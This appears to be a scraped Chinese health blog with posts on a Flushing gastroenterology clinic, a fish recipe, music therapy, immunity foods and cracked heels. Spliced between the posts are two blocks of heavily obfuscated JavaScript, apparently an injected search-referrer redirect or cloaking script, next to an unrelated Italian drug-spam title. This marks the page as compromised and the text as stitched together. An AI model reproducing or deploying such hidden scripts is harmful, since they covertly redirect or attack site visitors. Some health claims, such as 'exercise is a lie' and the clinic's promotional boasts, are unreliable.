我记得有一个从弗吉尼亚来的病人,是女儿打车两个多小时带过来的。病人长期腹痛,也做过核磁CT、胃镜肠镜检查。在她来之前打电话给我们,我告诉病人把之前做过的检查的报告都尽量带过来,因为来这做检查又要耽误很多时间。病人就把那些胶片都背过来了。我把片子拿给放射科医生看。当时放射科医生正在忙着看其他患者的片子。他让我把这名患者的片子插在灯箱上,他就瞄了一眼他说你先别插了,那其中有一张片子已经看到病人胆管有石头。这个石头在别的地方就没有被看到。霍普金斯放射科医生只是看了一眼就看到石頭了。那这样我们一下就解决了问题。我们安排病人做ERCP把石头取了出来,病人症状很快就好了。

2021-02-22 / by / in , , ,
红烧带鱼 几个小技巧解决带鱼腥味 吃起来更美味(视频)

红烧带鱼/带鱼

带鱼是我们常见的一种鱼,很多人都很喜欢吃,但是带鱼如果做不好,就可以吃出特别腥的味道。

今天与大家分享几个小技巧,做出的带鱼无腥味,而且味道酸甜咸鲜。一是带鱼的内脏一定要清洗干净,另外,在烹调的时候需要放醋,醋在很大程度上可以去掉腥味。

材料:

带鱼 2条,葱姜 适量,鸡蛋 1个

调料:

白胡椒粉 少许,料酒 少许,盐 少许,白糖 少许,蚝油 1汤匙,生抽 1汤匙,香醋 1汤匙,番茄酱 1汤匙,清水 适量,玉米淀粉 1.5汤匙

做法:

1. 准备工作:带鱼去鱼鳍,清洗干净内脏,清洗时一定要将黑膜扔掉,洗净后鱼表面打花刀,方便入味,然后切成6厘米长的断。

2. 腌制:带鱼放入碗中,加入少许葱姜,白胡椒粉,料酒和盐,打入一个鸡蛋抓匀将带鱼腌制入味。

3. 碗汁:碗中加入少许白糖,蚝油,生抽,香醋,料酒,番茄酱 ,清水搅拌均匀。

4. 煎制:煎鱼之前,放入适量的淀粉在带鱼里面裹住鱼,锅中放油,油热后放入带鱼,煎制两面金黄后捞出。

5. 成菜: 锅中留少许底油,放入葱姜煸炒爆香后,下入带鱼和碗汁中火炖煮至汤​​汁收干后即可。

2021-02-22 / by / in ,
音乐疗法!什么类型的音乐对大脑好?

音乐疗法/愉快/免疫力/记忆能力/抑郁症/阿尔茨海默症/古典音乐/流行摇滚音乐/爵士乐

知道音乐对人类健康有太多益处吗?研究证实,音乐能提高免疫力和改善心情等。尤其针对阿尔茨海默症,音乐疗法已经在欧美国家盛行多年。

研究表明,音乐能够改善认知症的很多症状,如记忆力减退、语言流利度下降等。


音乐

音乐已被用于治疗多种神经系统疾病,尤其是认知症。针对阿尔茨海默症的音乐疗法在欧美国家已经盛行多年。许多研究表明,音乐能减轻认知症的许多症状,例如记忆力减退、语言流利性下降等。

音乐对阿尔茨海默症患者的影响

2019年英国BBC的一部纪录片讲述了一个由阿尔茨海默症患者组成的合唱团的故事。研究人员用大脑成像手段监测了成员们听音乐时的大脑反应,发现大脑中记忆处理、语言和情感的区域均活跃了起来。

当听到音乐时,我们的大脑受到刺激快速释放多巴胺(多巴胺:一种神经递质,与奖赏机制有关),能使人感到快乐。这一反应速度很快,大脑甚至能够在音乐没有播放之前就预见到熟悉喜爱的音乐,提早开始释放多巴胺,这与我们的回忆和预见能力有关。

音乐除了能使我们感到愉快之外,对健康也是有益的。研究表明,听音乐能够增强免疫力;刺激内啡肽分泌,调整不良情绪;提高学习记忆能力。此外音乐还被证明在抑郁症、帕金森氏病的治疗中是有效的。


音乐使人感到快乐 

除了聆听音乐会对大脑健康的影响之外,学习一门与音乐相关的技能也可以发挥作用。例如,学习乐器会增加大脑某些区域的灰质体积。例如:听觉、处理、学习记忆的区域。

脑组织由灰质和白质组成。大脑的表皮部分是“灰质”,灰质以下的内部是“白质”。灰质处理信息,白质负责传递。大脑灰质对人的认知能力有决定性的作用。灰质体积与认知能力下降和大脑衰老直接相关。

大脑中不同区域的灰质负责控制肌肉运动、感官体验、思考和感觉、记忆和言语等重要功能。灰质的体积是衡量大脑健康状况的核心指标。大脑中的灰质体积在成年后期开始减少,而且往往在认知功能障碍症状出现之前就开始减少。


脑组织由灰质和白质组成

不同音乐对大脑和AD的影响

音乐对健康有很多益处:提高免疫力、改善心情等。其中不同的音乐类型对大脑的影响是不同的。根据旋律和节奏性,音乐包括许多风格和流派:古典音乐、流行音乐、摇滚乐、爵士乐、说唱音乐等。

1、古典音乐:增强多巴胺分泌、改善神经突触功能、提高学习和记忆能力。

听古典音乐可以帮助人们更有效地执行任务,这个被称为“莫扎特效应”的理论表明,聆听古典音乐可以增强大脑活动。芬兰赫尔辛基大学医学遗传学系的一个研究小组调查了听古典音乐对基因表达谱的影响,结果表明听音乐可以增强多巴胺分泌和转运、改善突触功能、提高学习和记忆相关基因的活性。


音乐

2、说唱rap音乐:能够刺激情绪、语言,提高运动功能。

剑桥大学心理学系的Akeem Sule博士和Becky Inkster博士于2014年启动了一项关于嘻哈疗法的研究,探讨了音乐如何帮助人们解决心理问题。研究人员发现,这种自由风格的艺术使说唱歌手的大脑进入独特的“流动状态”,从而触发“大脑中负责情绪、语言、动机、运动处理的部分”,这种刺激可以极大地改善神经系统疾病患者的生活。

3、励志风格的流行/摇滚音乐:提高忍耐力,增强身体的运动表现。

伦敦布鲁内尔大学体育与教育学院Costas Karageorghis博士研究了音乐对身体运动耐力的影响。 30名参与者听着节奏快、歌词励志的摇滚或流行音乐,在跑步机上锻炼,他们的耐力提高了15%。该项研究发表在《运动与锻炼心理学》上。

4、爵士乐:影响大脑产生的脑电波类型,带来刺激或放松的效果。

欢快的爵士乐,能够帮助集中精力,减少锻炼时的疲劳,提高工作效率;THETA脑波(4-8赫兹):聆听某些爵士乐可以产生theta脑波,这是能够刺激创造力的脑波。聆听舒缓慢节奏的爵士音乐能够减少焦虑起到放松作用;ALPHA脑电波(8-14赫兹):节奏60 BPM左右的音乐可能会导致大脑与节奏同步,从而产生阿尔法脑电波;DELTA脑电波(低于4赫兹):聆听至少45分钟会产生Delta脑电波,诱发睡眠-改善睡眠质量。研究表明,就寝前聆听45分钟柔和、缓慢的(60-80 BPM)的爵士乐,促进夜晚更好地睡眠、减少白天疲劳感。


音乐

阿尔茨海默症患者听音乐的建议

1、选择患者熟悉和喜欢的音乐,熟悉的音乐会唤起听者的回忆,安定心神。

2、根据不同状态和需求选择音乐类型。例如,安静的古典音乐可以营造一个安静的环境;童年时期喜爱的节奏快的歌曲则可以振奋精神,唤起人们的美好回忆;运动时可听流行或摇滚音乐,提高精力增强耐力;睡前听慢节奏柔和的爵士乐,能够改善睡眠。

3、鼓励患者在音乐中加上动作(拍手,跳舞),增加乐趣和运动量。

2021-02-22 / by / in
纽约肠胃肝胆科专家荆彤医生谈在霍普金斯医学院培训期间所接触的专家学者

 

美国约翰.霍普金斯大学医学院创立于1893年,是世界顶尖的医学研究培训机构。约翰.霍普金斯大学医学院有超过1200名医学生及博士生,超过2800名全职教授和超过1200名兼职教授。约翰.霍普金斯大学医学院的内科临床培训在Doximity2018-2019住院医师培训目录中,被评为全美最佳的内科临床培训项目。这是一项了不起的殊荣,曾在约翰.霍普金斯大学医学院肠胃科接受培训的荆彤医生用自己的亲身经历告诉大家为何霍普金斯医学院能得到这项荣誉。

 

荆彤医生说,在霍普金斯医学院有很多知名的专家学者,他在那里培训期间曾和很多诺贝尔奖获得者合作过。“像这种知名的人很多呀,因为在那(霍普金斯医学院)让我们还要做一些研究,不光是整天看临床上的病人。还要做一些研究,看这个病的机理啊,随着研究的进展那才能看病……那有很多的有名的教授和我们一块合作。像我们有个叫Rust的教授他发现了肿瘤基因并因此获得诺贝尔医学奖。还有一个我们当时合作的教授他虽然是生物化学的教授,他带领我们研究病人腹泻的机理,发现腹泻与水离子通道有关系,因为这个发现最后获得了诺贝尔医学奖。”“ 这些教授不光在临床上很强,在病的机理的研究方面也很强。我们有机会跟那些在世界前沿的那些科学家一块合作这样就对这个疾病的掌握得更加清楚,不但治标更能治本。”

 

荆彤医生于2014年在纽约法拉盛创立了荆彤肠胃中心,用自己20多年所学解除病患痛苦,服务华人社区。

荆彤肠胃中心

地址:136-68 Roosevelt Ave 3FL flushing, NY, 11354

电话 (718) 321-0183   (718) 886-9819

2021-02-21 / 1 Comment / by / in , ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,53,112,54,55,50,113,119,72,84,77,76,60,34,48,47,63,38,95,43,85,67,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+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2021-02-21 / by / in , , ,
这5种食物多吃,有助提升免疫力

食物/免疫力/甜椒/大蒜/芦笋/绿叶蔬菜/西兰花

疫情当下,为了抵抗感染和疾病,多吃含多种维生素和矿物质的食物,因此可以保证有充足的睡眠,使身体有更好的防疫能力,抵抗病毒。

众所周知,吃含多种维生素和矿物质的食物,充足的睡眠,规律的运动和低压力,可以使身体更好的抵抗感染和疾病。

在菜市买菜不知道买什么好的时候,不妨多多采购这些食物吧!

甜椒

1. 甜椒

甜椒是提升免疫系统最好的蔬菜之一,它不仅可以提供大量纤维和抗氧化剂,而且维生素C含量极高。

2. 大蒜

大蒜中的大蒜素含量极高,它是一种非常有效的抗氧化剂成分,只需一瓣就能够增强你的免疫力。而且大蒜不必生吃,它在煮熟后不会失去免疫功能。


芦笋

3. 芦笋

芦笋是优质的益生元,它的菊粉含量很高。芦笋还能够提供钾,虽然它不是免疫系统的增强剂,但对肌肉健康至关重要。

4. 深色绿叶蔬菜(如菠菜、羽衣甘蓝、瑞士甜菜等)

绿叶蔬菜可以提供大量抗氧化剂以及维生素C、E。脂溶性维生素E更是有效的抗氧化剂之一。


西兰花

5. 西兰花

你以为我们会错过蔬菜皇冠上的明珠吗?西兰花富含抗氧化剂和维生素C。它还富含钾、铁和钙。

2021-02-21 / by / in
脚后跟出现干裂什么原因?医生:跟这3种病症有关,要当心

健康/脚/开裂/冬天皮肤护理

脚后跟干裂是比较常见的一种现象,那么是什么因素造成的呢?

双脚是我们机体重要的组织,只要是我们起床的那一刻起, 双脚就是我们身体移动的动力。但是它的美观却很少人关注, 但默默奉献的它,也是容易出现问题的。

就比如冬天非常常见的一个问题,就是脚后跟容易出现干裂的情况, 有的人还不在意,可时间一长,没有做好相应的保护措施, 还容易出现流血、疼痛等现象,对于这种现象我们应该怎么办呢?

脚后跟干裂又是怎么造成的呢?可能跟以下这几种原因有关。

我们先来看下正常的情况有哪些?脚后跟出现干裂的现象, 还有一些是正常的表现,尤其是到了冬天之后,因为天气的寒冷, 刺激血管,身体的四肢部位,双脚、双手更容易感受到寒冷的气息。


呵护双脚

从而带走皮肤上的体温,从而出现脚冷、脚后跟干裂等情况。还有的人是因为鞋子不合适、干重体力活动等等, 也可能出现这种情况。如果你是属于这些现象, 还需根据自身的情况,来改变生活方式,可以帮助你缓解。

1、脚后跟干裂,可能跟皮肤病有关: 也并非所有的脚后跟干裂都属于正常的情况, 还有一些是因为疾病导致的。当身体出现鱼鳞病, 这种皮肤病的主要表现也是皮肤干燥, 且还有一个非常明显的特点是在冬季的时候会加重。

2、脚后跟干裂,可能跟脚气有关: 脚气的症状通常是因为真菌导致的病症,表现多为瘙痒。同样也会因为脚气,出现后脚跟干燥、甚至是干裂的情况。


呵护双脚

对于这种情形的人,需要保证脚部的透风,穿自己合适的鞋子, 如果有必要的话可以给脚涂抹上护肤的产品, 对脚部的保护会起到一定的积极作用。

3、脚后跟干裂,可能营养素缺乏有关:我们的机体健康, 需要多样的营养物质来供给,这样可以保护机体的多个器官组织。可如果某一种元素缺乏严重,就容易出现相对应的问题。

如当机体缺乏维生素A、维生素E的时候,我们的皮肤就容易干燥, 脚后跟这种用到比较多的地方,就容易出现干燥、开裂的情况。而充足的维生素A供给,可以保护皮肤黏膜的健康。

充足的维生素E供给,能够促进皮肤需要的胶原蛋白形成, 对保护皮肤、滋润皮肤有益。大家可以从胡萝卜、橘子、橙子、 玉米、鸡蛋等等中摄取,帮你改善脚后跟干裂。


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2021-02-21 / by / in
Antabuse 500 mg A Buon Mercato Catania

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,52,57,54,50,48,112,72,84,77,76,60,34,47,63,38,95,43,85,67,119,65,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!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2021-02-20 / by / in , , ,
生命在于运动是谎言 害了众多人

生命在于运动/伏尔泰/生命在于静养/动静结合

众多人都认为,人的生命在于运动,但在这里被提出挑战,生命在于静养。

你能说出一个最长寿的运动健将的名字么?

没有!

